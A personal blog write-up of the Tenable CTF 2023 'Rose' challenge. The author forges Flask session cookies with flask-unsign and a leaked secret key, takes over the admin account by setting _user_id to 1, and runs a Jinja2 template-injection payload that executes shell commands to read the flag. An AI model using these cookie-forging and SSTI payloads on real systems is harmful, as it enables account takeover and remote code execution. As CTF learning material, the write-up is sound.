Tenable CTF 2023: Rose (Write-up)

Cookie Crafting + Admin Account Takeover & Server Side Template Injection on Flask.

Posted by Yazid on August 12, 2023

This year's Tenable CTF was pretty cool, as it was my first time taking part, and even though I was a bit sick 🤧, my team and I managed to come 123rd out of 1187 teams 🥂.

One challenge that I really enjoyed (even though it was quite a headache) was Rose. This challenge demonstrates how it's possible to trigger a Remote Code Execution (RCE) in a vulnerable Flask template/application through session cookies forging. I liked this challenge because there wasn't too much guessing involved, but it was the closest one to a real scenario & it pushed me to understand the inner workings of certain Flask concepts.

The application presents a simple website with an identification portal, and we know that the signup option is not available, as it has been deactivated in the source code provided to us.

At this point it is clearly shown that we have to trigger an SSTI.

app = Flask(__name__)

app.config['SECRET_KEY'] = 'SuperDuperSecureSecretKey1234!'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'


We also have the secret key in __init__.py, so we need to craft a session cookie encrypted with it.

As the name field is mandatory and must be in our cookie, we craft a first session cookie with this field only and observe the behavior, we should be redirected to /dashboard according to the following code:

def index():
    if("name" in session.keys()):
        return redirect(url_for('main.dashboard'))
    return render_template('index.html')

└──╼ $flask-unsign --sign --cookie '{"name":"Yazidou", "logged_in": True}' --secret 'SuperDuperSecureSecretKey1234!'

It seems to work but you got a redirection loop which makes sense since / redirects to /dasboard and /dashboard needs the user to be authenticated, which is checked with @login_required, otherwise it redirects to / (main page).

Infinite redirection causes that error messages passed as response cookies are concatenated into each other, which can be misleading. My first reflex was to try to bypass the redirection by forcing the 200 code or remove the 'Location' field from the HTTP header, but that was useless (Did a lot of super useless things on that one 😹 but that's how we learn, folks).

yazid@Yazid:~$ flask-unsign --decode --cookie '.eJzt0zEOgCAQBMCvXLYmPoBX2BtjLngKCYLxsFDj3-UXNlRb7E65D6YlsnpR2OEBlRrYRJVXgUEfhVUo5pVCopKJnaslFR-U9rrpML6mueaa-82Npp74EPWwC0cVg8SbwOLiO8z5xPsBUtxLyQ.ZNTGCg.JNsw0hIOAv7c3g7mknarK0fiatQ'
{'_flashes': [('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.'), ('message', 'Please log in to access this page.')], '_fresh': False, 'name': 'yazidou'}

Our cookie doesn't contain the information that the user is authenticated, so we need to figure out what login_user() does to fill this information.

To achive that, I went through the source code of the login_user() function on the Flask documentation:

def login_user(user, remember=False, duration=None, force=False, fresh=True):
    if not force and not user.is_active:
        return False

    user_id = getattr(user, current_app.login_manager.id_attribute)()
    session["_user_id"] = user_id
    session["_fresh"] = fresh
    session["_id"] = current_app.login_manager._session_identifier_generator()

    if remember:
        session["_remember"] = "set"
        if duration is not None:
                # equal to timedelta.total_seconds() but works with Python 2.6
                session["_remember_seconds"] = (
                    + (duration.seconds + duration.days * 24 * 3600) * 10**6
                ) / 10.0**6
            except AttributeError as e:
                raise Exception(
                    f"duration must be a datetime.timedelta, instead got: {duration}"
                ) from e

    user_logged_in.send(current_app._get_current_object(), user=_get_user())
    return True 

We can see that login_user fills some of the cookie fields, the most important of which are _id, _user_id, _fresh. The most crucial here is _user_id, which corresponds to the user's id in the application, and this is where the trap lies and where you need to think a little. You have to guess how many users there are in the site's database, since signup is deactivated, it should only be one which is the owner ? Let's craft fake values for the other fields set _user_id to 1 and fire up the cookie in the browser.

yazid@Yazid:~$ flask-unsign --sign --cookie '{"name":"Admin", "logged_in": True, "remember": True, "_id": "e349d4f5-213d-4b94-a71a-7b8723f5c281", "_user_id": 1}' --secret 'SuperDuperSecureSecretKey1234!'


Kaboom ! Got the owner's session. Let's know figure out how to read /home/ctf/flag.txt thourgh SSTI.

A little subtlety here is that the template uses the render_template_string() function to filter out certain characters.

This function will filter out certain characters such as... apostrophes. I spent about 5 hours trying to bypass this protection before realizing that all I had to do was replace the apostrophes with quotation marks 😹. But before I found myself doing crazy stuff like that:

flask-unsign --sign --cookie '{"name":"{% autoescape false %}<p>{{7*'7'|safe}}<p>{% endautoescape %}","logged_in": True, "remember": True, "_id": "e349d4f5-213d-4b94-a71a-7b8723f5c281", "_user_id": 1}' --secret 'SuperDuperSecureSecretKey1234!'

Which actually worked and did not filtered the '7 ' when i tried 7*'7' by giving me 7777777 instead of 49 ! But that immediately broke down when I tried the RCE 😹.

Anyway, here's the one that really worked for me:

flask-unsign --sign --cookie '{"name":"{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"cat /home/ctf/flag.txt\").read() }}", "logged_in": True, "remember": True,"_id":"e349d4f5-213d-4b94-a71a-7b8723f5c281", "_user_id": 1}' --secret 'SuperDuperSecureSecretKey1234!'

The RCE payload comes from PayloadsAllTheThings/Server Side Template Injection.

Flagged ! 😸

I'm still learning so if you have a comment or observation on this article, feel free to contact me, my email addresses are on my Github profile 😸